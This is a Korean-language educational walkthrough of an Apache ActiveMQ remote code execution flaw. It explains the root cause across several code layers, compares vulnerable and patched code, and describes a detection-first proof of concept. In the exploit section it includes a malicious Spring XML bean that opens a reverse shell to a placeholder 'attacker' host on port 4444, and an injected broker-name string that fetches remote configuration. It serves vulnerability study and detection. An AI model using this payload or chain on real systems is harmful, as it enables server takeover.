
# CVE-2026-41044 교육용 워크스루 및 개념 증명: Apache ActiveMQ RCE, 근본 원인 분석 및 탐지 스크립트 포함
참고: 교육 목적으로만 사용
CVE-2026-41044는 2026년 4월 24일에 공개되었습니다. Apache ActiveMQ Classic의 원격 코드 실행 버그로, jsjcw가 발견했으며 5.19.6 및 6.2.5에서 패치되었습니다. 제가 발견한 것이 아닙니다.
제가 보여드리고 싶은 것은 ActiveMQ를 한 번도 다뤄본 적 없는 사람이 어떻게 하루 만에 N-day의 작동 가능한 익스플로잇을 만들 수 있는지입니다. 패치된 코드는 공개되어 있고, 패치되지 않은 코드도 공개되어 있으며, 둘 사이의 차이는 git diff 하나면 확인할 수 있기 때문입니다.
프로세스는 간단합니다:
며칠이 걸리던 작업이 이제는 오후면 끝납니다. AI는 버그를 찾지 않습니다. 코드를 읽고 질문하는 속도만큼 빠르게 설명할 뿐입니다. 여전히 비용이 드는 부분은 바로 당신입니다: 실제로 익스플로잇 가능한 것이 무엇인지, 실제 신뢰 경계가 어디인지, 무엇을 검증해야 하는지 결정하는 일입니다. 모델은 단지 인간보다 더 빠르게 콜 그래프를 따라갈 뿐입니다.
더 큰 요점: 패치 워크플로우가 CVE당 일주일의 분석 시간을 가정한다면, 당신은 옛 타임라인에 있는 것입니다. 는 탐지를 작성하든 익스플로잇을 작성하든 길이가 같습니다.
git diffActiveMQ는 메시지 브로커입니다. 중간에 위치하여 애플리케이션 간에 메시지를 전달합니다. 우체국과 같다고 생각하면 됩니다: 앱이 메시지를 맡기면 ActiveMQ가 올바른 수신자에게 전달합니다. 엔터프라이즈 Java 스택에서 널리 배포되며 웹 콘솔과 /api/jolokia/에 Jolokia라는 REST 관리 API를 노출합니다. 많은 배포 환경에서 기본 자격 증명은 여전히 admin:admin입니다.
ActiveMQ는 인증된 모든 사용자가 임의의 HTTP URL에서 브로커 구성을 로드하도록 허용했으며, Spring이 이를 파싱하여 즉시 Java 객체로 실행했습니다 - ProcessBuilder를 포함하여 - 공격자에게 브로커 서버에서 완전한 OS 명령 실행 권한을 부여했습니다.
localhost입니다./api/jolokia/의 HTTP-to-JMX 브리지로, 관리 작업을 REST API로 노출합니다. 모든 유효한 웹 콘솔 자격 증명이 접근할 수 있습니다 - 관리자만이 아닙니다.vm:// 전송: 클라이언트가 브로커와 동일한 JVM에 있을 때 사용되는 인프로세스 전송입니다. 브로커를 부트스트랩하기 위한 Spring XML 구성을 가리키는 ?brokerConfig= 쿼리 파라미터를 허용합니다.xbean:: ActiveMQ가 URL을 Spring XML 구성으로 취급하여 로드하도록 지시하는 URL 스킴입니다.init-method: Spring은 XML을 읽고 Java 객체(빈)를 자동으로 생성합니다. init-method 속성은 Spring이 빈이 생성되는 즉시 - 다른 무엇보다 먼저 - 해당 빈의 메서드를 호출하도록 지시합니다.ProcessBuilder: OS 명령을 실행하는 표준 Java 클래스입니다. ProcessBuilder.start()가 명령을 실행합니다.5.19.2의 DestinationView.sendTextMessage()는 브로커 이름을 문자열에 직접 연결하여 브로커 연결 URL을 생성합니다:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
getBrokerName()이 localhost?brokerConfig=xbean:http://attacker/poison.xml을 반환하면, 해당 전체 문자열은 임베디드 쿼리 파라미터가 있는 유효한 vm:// URI가 됩니다. ActiveMQConnectionFactory는 이를 VMTransportFactory에 전달하고, VMTransportFactory는 brokerConfig 파라미터를 추출하여 브로커의 부트스트랩 구성 URL로 사용합니다.
5.19.6의 수정은 한 줄입니다:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String이 URI가 됩니다 - 우발적인 연결은 더 이상 불가능합니다. 값은 브로커의 실제 등록된 VM 커넥터에서 파생된 사전 구성된 불변 URI 객체에서 오며, 변경 가능한 이름 문자열에서 오지 않습니다.
레이어 1이 익스플로잇 가능하려면 브로커 이름이 먼저 오염되어야 합니다. BrokerService는 항상 브로커 이름을 정화해 왔습니다:
// BrokerService.setBrokerName() - 두 버전 모두에 존재
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
이 정규식은 ?와 =를 깔끔하게 제거합니다. CVE가 존재한 이유는 RegionBroker에 자체적인 별도 세터가 있었고, 그것은 정화하지 않았기 때문입니다:
// 5.19.2 - RegionBroker.java
private String brokerName; // 변경 가능
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // 검증 전혀 없음
}
이것은 전형적인 혼동된 대리자(confused deputy)입니다 - 관련 클래스에 두 개의 세터가 있고, 그중 하나만 정화합니다. 조작된 이름 필드가 있는 BrokerInfo 패킷을 브로드캐스트하는 원격 피어는 BrokerService의 정규식을 완전히 우회하여 RegionBroker.setBrokerName()에 직접 도달합니다.
5.19.6의 수정은 세터를 삭제하고, 필드를 final로 만들고, 이미 정화된 부모에서 한 번만 초기화합니다:
// 5.19.6 - RegionBroker.java
private final String brokerName; // 불변
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName()은 삭제되었습니다. 더 이상 세터가 없습니다.
}
병렬 작성자가 없는 정화기를 우회할 수는 없습니다.
VMTransportFactory.doCompositeConnect()는 vm://...?brokerConfig=... URI를 가져와 brokerConfig 파라미터를 추출하고 BrokerFactory.createBroker(brokerURI)를 호출하는 함수입니다. 전체 체인의 트리거 메커니즘입니다.
Apache는 여기서 정확히 아무것도 변경하지 않았습니다.
이 선택은 그들이 수정에 대해 어떻게 생각했는지 알려줍니다. VMTransportFactory는 합법적인 작업을 수행하고 있습니다 - vm:// 전송은 실제로 부트스트랩 구성을 허용하도록 설계되었습니다. 그것을 패치했다면 의도된 설계를 깨뜨렸을 것입니다. 대신 Apache는 소스(레이어 2: 오염된 이름을 쓸 수 없음)와 싱크(레이어 5: 오염된 URL이 통과하더라도 리소스 리졸버가 가져오지 않음)에서 버그를 수정했습니다.
검증이 속한 레이어를 수정하세요, 공격자가 우연히 통과한 레이어가 아니라.
// XBeanBrokerFactory - 두 버전 모두 동일
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // 레이어 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource)는 Spring이 작업을 수행하는 곳입니다 - 모든 빈의 init-method는 ActiveMQ의 BrokerService가 결과를 검증하기 전에 컨텍스트 구성 시 실행됩니다. 여기서 패치할 것은 없습니다. Spring의 계약은 설계대로 올바릅니다. 버그는 ActiveMQ가 인스턴스화 전에 검증이 발생할 것이라고 의존했고, Spring은 그 순서를 보장하지 않는다는 것이었습니다.
이것은 xbean:http://attacker/poison.xml을 가져올지 여부를 결정하는 함수입니다. 5.19.2에서:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? 검사 없음.
} else {
return new ClassPathResource(uri);
}
}
프로토콜 필터가 없습니다. http://, https://, ftp://, jar:// - 모두 조용히 허용됩니다.
5.19.6 수정은 명시적 허용 목록을 추가합니다. 기본적으로 file과 classpath만 허용됩니다. 다른 모든 것은 UrlResource가 생성되기 전에 예외를 던집니다:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // http/https 등이면 예외 발생
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
XBeanBrokerFactory는 이제 허용 목록으로 {file, classpath}를 전달합니다. 오염된 브로커 이름이 향후 버전에서 이 함수에 도달하더라도, http://attacker/poison.xml은 Spring이 보기도 전에 예외를 던질 것입니다.
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
Spring이 ApplicationContext를 구성하는 순간, init-method="start"가 ProcessBuilder 빈에서 실행됩니다. ActiveMQ의 BrokerService.start() 검증은 그 후에 실행됩니다. 그때쯤이면 셸이 이미 역방향 연결을 완료한 상태입니다.
취약한 Utils.resourceFromString 싱크에 도달하는 두 가지 방법이 있습니다:
전체 프로덕션 경로 (애드바이저리가 설명하는 것):
원격 피어가 조작된 BrokerInfo 패킷 전송
-> RegionBroker.setBrokerName()이 검증 없이 오염된 이름 저장
-> DestinationView.sendTextMessage()가 이를 vm:// URL에 연결
-> VMTransportFactory가 brokerConfig 파라미터 추출
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
짧은 경로 (poc.sh가 사용하는 것):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
PoC는 실용적인 이유로 짧은 경로를 사용합니다: 전체 경로는 대상에 조작된 BrokerInfo 패킷을 보내는 두 번째 ActiveMQ 브로커를 네트워크 피어로 설정해야 합니다 - 더 복잡한 랩 설정이 필요한 브로커 간 상호작용입니다. 짧은 경로는 단일 브로커와 기본 HTTP 서버로 작동합니다.
두 경로 모두 동일한 취약한 프리미티브에 도달합니다. PoC는 싱크가 익스플로잇 가능하고 CVE가 대상에 존재함을 확인합니다. 애드바이저리에 설명된 정확한 진입점을 재현하려면 브로커 간 단계를 추가해야 합니다.
PoC는 기본적으로 탐지 전용 모드로 실행됩니다. 두 가지 신호를 프로브합니다:
배너 검사 - Jolokia를 통해 BrokerVersion을 읽습니다:
< 5.19.6 또는 6.0.0 - 6.2.4 = 취약 범위동작 검사 - Jolokia를 통해 addNetworkConnector("vm://probe")를 호출합니다:
Transport scheme 'vm' is not allowed 반환DiscoveryAgent scheme NOT recognized IOException 반환패치된 버전의 거부는 BrokerView.validateAllowedUrl()에서 발생합니다 - 5.19.6에서 addNetworkConnector JMX 작업에 직접 추가된 별도의 거부 목록으로, Utils.resourceFromString이 아닙니다. 이들은 두 개의 독립적인 수정입니다: 하나는 JMX 관리 표면을 보호하고, 다른 하나는 레이어 5에서 설명된 리소스 로딩 프리미티브를 보호합니다. 동작 프로브는 전자를 테스트합니다.
| 레이어 | 취약 (5.19.2) | 수정됨 (5.19.6) |
|---|---|---|
DestinationView | "vm://" + brokerName 문자열 연결 | broker.getVmConnectorURI() 불변 URI |
RegionBroker | 변경 가능한 필드, 정화되지 않은 세터 | final 필드, 세터 삭제, 정화된 부모에서 초기화 |
VMTransportFactory | 변경 없음 | 변경 없음 (설계상) |
XBeanBrokerFactory | Utils.resourceFromString(uri) 호출 | Utils.resourceFromString(uri, allowedProtocols) 호출 |
Utils.resourceFromString | 모든 URL 스킴 가져옴 | 허용 목록 적용 - 기본적으로 file과 classpath만 |